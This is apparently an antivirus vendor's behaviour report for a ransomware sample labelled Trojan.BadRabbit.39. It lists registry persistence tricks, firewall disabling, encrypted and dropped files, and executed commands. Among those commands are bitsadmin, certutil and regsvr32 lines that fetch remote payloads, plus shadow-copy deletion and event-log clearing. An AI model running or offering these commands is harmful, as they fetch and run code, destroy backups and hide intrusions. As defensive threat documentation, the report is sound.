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Trojan.BadRabbit.39

Added to the Dr.Web virus database: 2026-06-23

Virus description added:

Technical Information

To ensure autorun and distribution
Modifies the following registry keys
  • [HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe] 'Debugger' = '<SYSTEM32>\cmd.exe'
  • [HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Magnify.exe] 'Debugger' = '<SYSTEM32>\cmd.exe'
  • [HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\osk.exe] 'Debugger' = '<SYSTEM32>\cmd.exe'
  • [HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows] 'LoadAppInit_DLLs' = '00000001'
  • [HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows] 'AppInit_DLLs' = '%WINDIR%\Temp\evil.dll'
  • [HKCU\Software\Microsoft\Windows\CurrentVersion\Run] 'WindowsUpdateAgent' = 'C:\temp\evil.exe'
Sets the following service settings
  • [HKLM\SYSTEM\CurrentControlSet\Services\IKEEXT] 'Start' = '00000002'
Creates the following services
  • 'FakeService' <SYSTEM32>\cmd.exe
Creates the following files on removable media
  • <Drive name for removable media>:\@please_read_me@.txt
  • <Drive name for removable media>:\@wanadecryptor@.exe
Malicious functions
To bypass firewall, removes or modifies the following registry keys
  • [HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile] 'EnableFirewall' = '00000000'
  • [HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile] 'EnableFirewall' = '00000000'
To complicate detection of its presence in the operating system,
forces the system hide from view:
  • hidden files
deletes volume shadow copies.
Executes the following
  • '<SYSTEM32>\netsh.exe' advfirewall set allprofiles state off
Injects code into
the following system processes:
  • <SYSTEM32>\cmd.exe
Terminates or attempts to terminate
the following system processes:
  • <SYSTEM32>\autochk.exe
Reads files which store third party applications passwords
  • %HOMEPATH%\desktop\210252809.jpeg
  • %HOMEPATH%\desktop\2.jpeg
  • %HOMEPATH%\desktop\4f0bf7ff71f28.jpeg
  • %HOMEPATH%\desktop\aoc_saq_d_v3_merchant.docx
  • %HOMEPATH%\desktop\february_catalogue__2015.doc
  • %HOMEPATH%\desktop\hanni_umami_chapter.doc
  • %HOMEPATH%\desktop\pushkin.jpeg
  • %HOMEPATH%\desktop\sdszfo.docx
  • %HOMEPATH%\desktop\000814251_video_01.avi
  • %HOMEPATH%\desktop\coffee.bmp
  • %HOMEPATH%\desktop\delete.avi
  • %HOMEPATH%\desktop\dialmap.bmp
  • %HOMEPATH%\desktop\split.avi
  • %HOMEPATH%\desktop\tileimage.bmp
Modifies file system
Creates the following files
  • <Current directory>\dropped\<File name>.exe6076389952.exe
  • <Current directory>\dropped\useroobebroker.exe5859158425.exe
  • <Current directory>\dropped\explorer.exe9638444274.exe
  • <Current directory>\dropped\spoolsv.exe9152034228.exe
  • <Current directory>\dropped\runtimebroker.exe1510489313.exe
  • <Current directory>\dropped\conhost.exe1987015970.exe
  • <Current directory>\dropped\firefox.exe2301521263.exe
  • %TEMP%\testfile.txt
  • %TEMP%\how_to_decrypt.txt
  • <Current directory>\svchost.exe:hidden_data
  • C:\users\public\svchost.exe
  • %TEMP%\dropped.exe
  • <Current directory>\lrafegsfeirpdonudyirlkzxswkddcbycuayfuhlslunb.txt
  • %TEMP%\invoke-malware.ps1
  • C:\users\public\ransom_wallpaper.jpg
  • %TEMP%\cap.bmp
  • <Current directory>\ransom.hta
  • %LOCALAPPDATA%\microsoft\windows\inetcookies\deprecated.cookie
  • %TEMP%\pe7p.exe
  • %TEMP%\b.wnry
  • %TEMP%\c.wnry
  • %TEMP%\msg\m_bulgarian.wnry
  • %TEMP%\msg\m_chinese (simplified).wnry
  • %TEMP%\msg\m_chinese (traditional).wnry
  • %TEMP%\msg\m_croatian.wnry
  • %TEMP%\msg\m_czech.wnry
  • %TEMP%\msg\m_danish.wnry
  • %TEMP%\msg\m_dutch.wnry
  • %TEMP%\msg\m_english.wnry
  • %TEMP%\msg\m_filipino.wnry
  • %TEMP%\msg\m_finnish.wnry
  • %TEMP%\msg\m_french.wnry
  • %TEMP%\msg\m_german.wnry
  • %TEMP%\msg\m_greek.wnry
  • %TEMP%\msg\m_indonesian.wnry
  • %TEMP%\msg\m_italian.wnry
  • %TEMP%\msg\m_japanese.wnry
  • %TEMP%\msg\m_korean.wnry
  • %TEMP%\msg\m_latvian.wnry
  • %TEMP%\msg\m_norwegian.wnry
  • %TEMP%\msg\m_polish.wnry
  • %TEMP%\msg\m_portuguese.wnry
  • %TEMP%\msg\m_romanian.wnry
  • %TEMP%\msg\m_russian.wnry
  • %TEMP%\msg\m_slovak.wnry
  • %TEMP%\msg\m_spanish.wnry
  • %TEMP%\msg\m_swedish.wnry
  • %TEMP%\msg\m_turkish.wnry
  • %TEMP%\msg\m_vietnamese.wnry
  • %TEMP%\r.wnry
  • %TEMP%\s.wnry
  • %TEMP%\t.wnry
  • %TEMP%\taskdl.exe
  • %TEMP%\taskse.exe
  • %TEMP%\u.wnry
  • %TEMP%\00000000.pky
  • %TEMP%\00000000.eky
  • %TEMP%\00000000.res
  • %TEMP%\@wanadecryptor@.exe
  • %TEMP%\87071782159424.bat
  • %TEMP%\@please_read_me@.txt
  • %HOMEPATH%\desktop\2.jpeg.wncryt
  • %HOMEPATH%\desktop\210252809.jpeg.wncryt
  • %HOMEPATH%\desktop\4f0bf7ff71f28.jpeg.wncryt
  • %HOMEPATH%\desktop\aoc_saq_d_v3_merchant.docx.wncryt
  • %HOMEPATH%\desktop\february_catalogue__2015.doc.wncryt
  • %TEMP%\m.vbs
  • %HOMEPATH%\desktop\hanni_umami_chapter.doc.wncryt
  • %HOMEPATH%\desktop\pushkin.jpeg.wncryt
  • %HOMEPATH%\desktop\sdszfo.docx.wncryt
  • %HOMEPATH%\desktop\@please_read_me@.txt
  • %HOMEPATH%\desktop\@wanadecryptor@.exe
  • %TEMP%\f.wnry
  • %TEMP%\@wanadecryptor@.exe.lnk
  • C:\@please_read_me@.txt
  • C:\@wanadecryptor@.exe
  • C:\msocache\all users\{90160000-0011-0000-0000-0000000ff1ce}-c\@please_read_me@.txt
  • C:\msocache\all users\{90160000-0011-0000-0000-0000000ff1ce}-c\@wanadecryptor@.exe
  • C:\recovery\windowsre\@please_read_me@.txt
  • C:\recovery\windowsre\@wanadecryptor@.exe
  • %ALLUSERSPROFILE%\microsoft\appv\setup\@please_read_me@.txt
  • %ALLUSERSPROFILE%\microsoft\appv\setup\@wanadecryptor@.exe.lnk
  • %ALLUSERSPROFILE%\microsoft\diagnosis\@please_read_me@.txt
  • %ALLUSERSPROFILE%\microsoft\diagnosis\@wanadecryptor@.exe.lnk
  • %ALLUSERSPROFILE%\microsoft\diagnosis\scenariossqlstore\@please_read_me@.txt
  • %ALLUSERSPROFILE%\microsoft\diagnosis\scenariossqlstore\@wanadecryptor@.exe.lnk
  • %ALLUSERSPROFILE%\microsoft\network\downloader\@please_read_me@.txt
  • %ALLUSERSPROFILE%\microsoft\network\downloader\@wanadecryptor@.exe.lnk
  • %ALLUSERSPROFILE%\microsoft\smsrouter\messagestore\@please_read_me@.txt
  • %ALLUSERSPROFILE%\microsoft\smsrouter\messagestore\@wanadecryptor@.exe.lnk
  • %ALLUSERSPROFILE%\microsoft\uev\scripts\@please_read_me@.txt
  • %ALLUSERSPROFILE%\microsoft\uev\scripts\@wanadecryptor@.exe.lnk
  • %ALLUSERSPROFILE%\microsoft\user account pictures\@please_read_me@.txt
  • %ALLUSERSPROFILE%\microsoft\user account pictures\@wanadecryptor@.exe.lnk
  • %ALLUSERSPROFILE%\microsoft\windows\caches\@please_read_me@.txt
  • %ALLUSERSPROFILE%\microsoft\windows\caches\@wanadecryptor@.exe.lnk
  • %ALLUSERSPROFILE%\microsoft\windows defender.bak\scans\@please_read_me@.txt
  • %ALLUSERSPROFILE%\microsoft\windows defender.bak\scans\@wanadecryptor@.exe.lnk
  • %ALLUSERSPROFILE%\microsoft\windows nt\msscan\@please_read_me@.txt
  • %ALLUSERSPROFILE%\microsoft\windows nt\msscan\@wanadecryptor@.exe.lnk
  • %LOCALAPPDATA%\@please_read_me@.txt
  • %LOCALAPPDATA%\@wanadecryptor@.exe.lnk
  • %LOCALAPPDATA%\microsoft\internet explorer\brndlog.txt.wncryt
  • %LOCALAPPDATA%\packages\microsoft.skypeapp_kzf8qxf38zg5c\localstate\diagoutputdir\skypeapp0.txt.wncryt
Deletes following files that it created itself
  • %TEMP%\testfile.txt.encrypted
  • %TEMP%\how_to_decrypt.txt
  • %TEMP%\dropped.exe
  • <Current directory>\lrafegsfeirpdonudyirlkzxswkddcbycuayfuhlslunb.txt
  • %TEMP%\invoke-malware.ps1
  • C:\users\public\ransom_wallpaper.jpg
  • %TEMP%\cap.bmp
  • <Current directory>\ransom.hta
  • %TEMP%\pe7p.exe
Moves the following files
  • from %TEMP%\testfile.txt to %TEMP%\testfile.txt.encrypted
  • from %HOMEPATH%\desktop\2.jpeg.wncryt to %HOMEPATH%\desktop\2.jpeg.wncry
  • from %HOMEPATH%\desktop\210252809.jpeg.wncryt to %HOMEPATH%\desktop\210252809.jpeg.wncry
  • from %HOMEPATH%\desktop\4f0bf7ff71f28.jpeg.wncryt to %HOMEPATH%\desktop\4f0bf7ff71f28.jpeg.wncry
  • from %HOMEPATH%\desktop\aoc_saq_d_v3_merchant.docx.wncryt to %HOMEPATH%\desktop\aoc_saq_d_v3_merchant.docx.wncry
  • from %HOMEPATH%\desktop\february_catalogue__2015.doc.wncryt to %HOMEPATH%\desktop\february_catalogue__2015.doc.wncry
  • from %HOMEPATH%\desktop\hanni_umami_chapter.doc.wncryt to %HOMEPATH%\desktop\hanni_umami_chapter.doc.wncry
  • from %HOMEPATH%\desktop\pushkin.jpeg.wncryt to %HOMEPATH%\desktop\pushkin.jpeg.wncry
  • from %HOMEPATH%\desktop\sdszfo.docx.wncryt to %HOMEPATH%\desktop\sdszfo.docx.wncry
  • from %LOCALAPPDATA%\microsoft\internet explorer\brndlog.txt.wncryt to %LOCALAPPDATA%\microsoft\internet explorer\brndlog.txt.wncry
  • from %LOCALAPPDATA%\packages\microsoft.skypeapp_kzf8qxf38zg5c\localstate\diagoutputdir\skypeapp0.txt.wncryt to %LOCALAPPDATA%\packages\microsoft.skypeapp_kzf8qxf38zg5c\localstate\diagoutputdir\skypeapp0.txt.wncry
Modifies the following files
  • %APPDATA%\microsoft\windows\themes\cachedfiles\cachedimage_1152_864_pos2.jpg
  • %HOMEPATH%\desktop\2.jpeg
  • %HOMEPATH%\desktop\210252809.jpeg
  • %HOMEPATH%\desktop\4f0bf7ff71f28.jpeg
Modifies user data files (Trojan.Encoder).
Changes user data files extensions (Trojan.Encoder).
Network activity
Connects to
  • 'google.com':80
  • 'ex##ple.com':80
  • 'ne##lix.com':80
  • 'ne##lix.com':443
  • 'localhost':80
  • '10#.#51.135.62':80
  • 'localhost':4443
  • 'localhost':445
TCP
HTTP POST requests
  • http://www.google.com/api/v1/update
  • http://ex##ple.com/api/v1/update
  • http://www.ne##lix.com/api/v1/update
Other
  • 'ne##lix.com':443
  • 'localhost':445
  • 'localhost':49709
UDP
  • DNS ASK google.com
  • DNS ASK ex##ple.com
  • DNS ASK ne##lix.com
Miscellaneous
Creates and executes the following
  • '<Current directory>\dropped\<File name>.exe6076389952.exe'
  • '<Current directory>\dropped\useroobebroker.exe5859158425.exe'
  • '<Current directory>\dropped\explorer.exe9638444274.exe'
  • '<Current directory>\dropped\spoolsv.exe9152034228.exe'
  • '<Current directory>\dropped\runtimebroker.exe1510489313.exe'
  • '<Current directory>\dropped\conhost.exe1987015970.exe'
  • '<Current directory>\dropped\firefox.exe2301521263.exe'
  • '%TEMP%\pe7p.exe'
  • '%TEMP%\taskdl.exe'
Executes the following
  • '<SYSTEM32>\verifiergui.exe'
  • '<SYSTEM32>\wecutil.exe'
  • '<SYSTEM32>\sdbinst.exe'
  • '<SYSTEM32>\lpremove.exe'
  • '<SYSTEM32>\netiougc.exe'
  • '<SYSTEM32>\tskill.exe'
  • '<SYSTEM32>\isoburn.exe'
  • '<SYSTEM32>\backgroundtaskhost.exe'
  • '<SYSTEM32>\omadmclient.exe'
  • '<SYSTEM32>\control.exe'
  • '<SYSTEM32>\cmd.exe'
  • '<SYSTEM32>\cmd.exe' /c ping 127.0.0.1 -n 2
  • '<SYSTEM32>\cmd.exe' /c netsh advfirewall set allprofiles state off
  • '<SYSTEM32>\ping.exe' 127.0.0.1 -n 2
  • '<SYSTEM32>\cmd.exe' /c wmic /namespace:\\root\securitycenter2 path AntiVirusProduct get displayName
  • '<SYSTEM32>\wbem\wmic.exe' /namespace:\\root\securitycenter2 path AntiVirusProduct get displayName
  • '<SYSTEM32>\cmd.exe' /c wmic os get Caption
  • '<SYSTEM32>\cmd.exe' /c bitsadmin /transfer myjob http://127.0.0.1/payload.exe C:\temp\payload.exe
  • '<SYSTEM32>\wbem\wmic.exe' os get Caption
  • '<SYSTEM32>\bitsadmin.exe' /transfer myjob http://127.0.0.1/payload.exe C:\temp\payload.exe
  • '<SYSTEM32>\cmd.exe' /c regsvr32.exe /s /u /i:http://127.0.0.1/x scrobj.dll
  • '<SYSTEM32>\regsvr32.exe' /s /u /i:http://127.0.0.1/x scrobj.dll
  • '<SYSTEM32>\cmd.exe' /c wmic shadowcopy delete
  • '<SYSTEM32>\cmd.exe' /c wevtutil cl System
  • '<SYSTEM32>\wevtutil.exe' cl System
  • '<SYSTEM32>\cmd.exe' /c wmic path Win32_USBHub get DeviceID
  • '<SYSTEM32>\wbem\wmic.exe' path Win32_USBHub get DeviceID
  • '<SYSTEM32>\cmd.exe' /c systeminfo
  • '<SYSTEM32>\systeminfo.exe'
  • '<SYSTEM32>\cmd.exe' /c mshta.exe javascript:alert(1)
  • '<SYSTEM32>\mshta.exe' javascript:alert(1)
  • '<SYSTEM32>\cmd.exe' /c rundll32.exe C:\nonexistent.dll,EntryPoint
  • '<SYSTEM32>\rundll32.exe' C:\nonexistent.dll,EntryPoint
  • '<SYSTEM32>\cmd.exe' /c certutil -urlcache -f http://127.0.0.1/x C:\temp\x.exe
  • '<SYSTEM32>\certutil.exe' -urlcache -f http://127.0.0.1/x C:\temp\x.exe
  • '<SYSTEM32>\cmd.exe' /c wmic process list brief
  • '<SYSTEM32>\wbem\wmic.exe' process list brief
  • '%WINDIR%\syswow64\attrib.exe' +h .
  • '%WINDIR%\syswow64\icacls.exe' . /grant Everyone:F /T /C /Q
  • '%WINDIR%\syswow64\cmd.exe' /c 87071782159424.bat
  • '%WINDIR%\syswow64\cscript.exe' //nologo m.vbs
  • '%WINDIR%\syswow64\attrib.exe' +h +s D:\$RECYCLE
  • '%WINDIR%\syswow64\attrib.exe' +h .' (with hidden window)
  • '%WINDIR%\syswow64\icacls.exe' . /grant Everyone:F /T /C /Q' (with hidden window)
  • '%TEMP%\taskdl.exe' ' (with hidden window)
  • '%WINDIR%\syswow64\cmd.exe' /c 87071782159424.bat' (with hidden window)
  • '%WINDIR%\syswow64\attrib.exe' +h +s D:\$RECYCLE' (with hidden window)

Curing recommendations

  1. If the operating system (OS) can be loaded (either normally or in safe mode), download Dr.Web Security Space and run a full scan of your computer and removable media you use. More about Dr.Web Security Space.
  2. If you cannot boot the OS, change the BIOS settings to boot your system from a CD or USB drive. Download the image of the emergency system repair disk Dr.Web® LiveDisk , mount it on a USB drive or burn it to a CD/DVD. After booting up with this media, run a full scan and cure all the detected threats.
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  1. If the mobile device is operating normally, download and install Dr.Web for Android. Run a full system scan and follow recommendations to neutralize the detected threats.
  2. If the mobile device has been locked by Android.Locker ransomware (the message on the screen tells you that you have broken some law or demands a set ransom amount; or you will see some other announcement that prevents you from using the handheld normally), do the following:
    • Load your smartphone or tablet in the safe mode (depending on the operating system version and specifications of the particular mobile device involved, this procedure can be performed in various ways; seek clarification from the user guide that was shipped with the device, or contact its manufacturer);
    • Once you have activated safe mode, install the Dr.Web for Android onto the infected handheld and run a full scan of the system; follow the steps recommended for neutralizing the threats that have been detected;
    • Switch off your device and turn it on as normal.

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